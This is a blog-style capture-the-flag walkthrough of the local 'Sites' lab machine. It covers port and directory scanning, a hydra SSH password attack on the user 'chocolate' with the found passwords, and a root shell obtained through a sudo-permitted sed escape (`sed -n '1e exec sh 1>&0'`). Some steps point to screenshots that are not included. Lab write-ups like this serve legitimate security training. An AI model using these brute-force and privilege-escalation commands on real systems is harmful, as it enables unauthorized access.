SITES MACHINE

 SITES 


┌──(root㉿kali)-[/home/luis/Descargas/sites]
└─# bash auto_deploy.sh sites.tar                                                        

                        ##        .         
                  ## ## ##       ==         
               ## ## ## ##      ===         
           /""""""""""""""""\___/ ===       
      ~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ /  ===- ~~~
           \______ o          __/           
             \    \        __/            
              \____\______/               
                                          
  ___  ____ ____ _  _ ____ ____ _    ____ ___  ____
  |  \ |  | |    |_/  |___ |__/ |    |__| |__] [__  
  |__/ |__| |___ | \_ |___ |  \ |___ |  | |__] ___]
                                                           

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Once the host was identified, Nmap, a port scanning tool, was used to discover which services were running on the machine. The scan revealed  port 80 (HTTP)  and port 22 (SSH) was open. 
┌──(root㉿kali)-[/home/luis]
└─# nmap -n -Pn -p- --min-rate 5000 172.17.0.2 -vvv -sV 2>/dev/null
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-17 21:13 CEST
NSE: Loaded 47 scripts for scanning.
Initiating ARP Ping Scan at 21:13
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 21:13, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 21:13
Scanning 172.17.0.2 [65535 ports]
Discovered open port 22/tcp on 172.17.0.2
Discovered open port 80/tcp on 172.17.0.2
Completed SYN Stealth Scan at 21:13, 0.98s elapsed (65535 total ports)
Initiating Service scan at 21:13
Scanning 2 services on 172.17.0.2
Completed Service scan at 21:13, 6.04s elapsed (2 services on 1 host)
NSE: Script scanning 172.17.0.2.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 21:13
Completed NSE at 21:13, 0.02s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 21:13
Completed NSE at 21:13, 0.01s elapsed
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.0000040s latency).
Scanned at 2025-10-17 21:13:39 CEST for 7s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.58 ((Ubuntu))

MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.53 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

In this step we have to look at many things interesting as you can see in the both picture below which are:
  • Configuration
  • sitio.conf
  • sites-avaliable
  • vulnerable.php



With the web service identified on port 80, the next step was to search for hidden directories and files. The Gobuster tool was used with a common wordlist for this purpose as you can see below, but gobuster discovered an interesting directory named /vulnerable.php. This finding suggested the existence of upload a malicious file that could be a target for a vulnerability.

┌──(root㉿kali)-[/home/luis]
└─# gobuster dir -u "http://172.17.0.2/" -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x bak,txt,php,tar,js,html
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              html,bak,txt,php,tar,js
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 3591]
/vulnerable.php       (Status: 200) [Size: 37]
/server-status        (Status: 403) [Size: 275]

Progress: 1543899 / 1543899 (100.00%)
===============================================================
Finished
===============================================================

Now, we have to execute the next command which you can see below.


We can see the file archivitotravieso has been discovered and we should enter.



In addition, we can get the user password as you can see below.


Now we have to create passwords in a file as you can see below.
┌──(root㉿kali)-[/home/luis]
└─# nano password
elbunkermolagollon123
lapasswordmasmolonadelacity

Now we should try the user and password as you can see below and we can see the password has been discovered.
┌──(root㉿kali)-[/home/luis]
└─# hydra -l "chocolate" -P password ssh://172.17.0.2 -v
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-10-17 21:35:45
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 3 tasks per 1 server, overall 3 tasks, 3 login tries (l:1/p:3), ~1 try per task
[DATA] attacking ssh://172.17.0.2:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://chocolate@172.17.0.2:22
[INFO] Successful, password authentication is supported by ssh://172.17.0.2:22
[STATUS] attack finished for 172.17.0.2 (waiting for children to complete tests)
[22][ssh] host: 172.17.0.2   login: chocolate   password: lapasswordmasmolonadelacity
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-10-17 21:35:47

Access was gained as the user chocolate. The first action was to look for the file to get be user as you can see below.
┌──(root㉿kali)-[/home/luis]
└─# ssh chocolate@172.17.0.2        
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is SHA256:9g0zsgmbuB2RVFQh9tYGRyyrKG2rcWWUBPAxiTchYG8.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
chocolate@172.17.0.2's password:
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.12.38+kali-amd64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

chocolate@45838b616964:~$

chocolate@45838b616964:~$ sudo -l
Matching Defaults entries for chocolate on 45838b616964:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User chocolate may run the following commands on 45838b616964:
    (ALL) NOPASSWD: /usr/bin/sed

We as see the gallery user should be able to convert in this user and we have to the gtobins website and obtain more information as you can see below.


chocolate@45838b616964:~$ sudo sed -n '1e exec sh 1>&0' /etc/hosts
# bash -p
root@45838b616964:/home/chocolate# whoami
root
root@45838b616964:/home/chocolate#

Thank you very much for reading this article

I hope you liked and learned something new

This article has been done with ethical proposes

Good Hack 
 

Comments

Entradas Populares

INTERNAL

TOR WEB BROWSER

activedirectory

PICKLE RICK

Metasploit Framework

HOSTING

LOVE

CHANGE MACHINE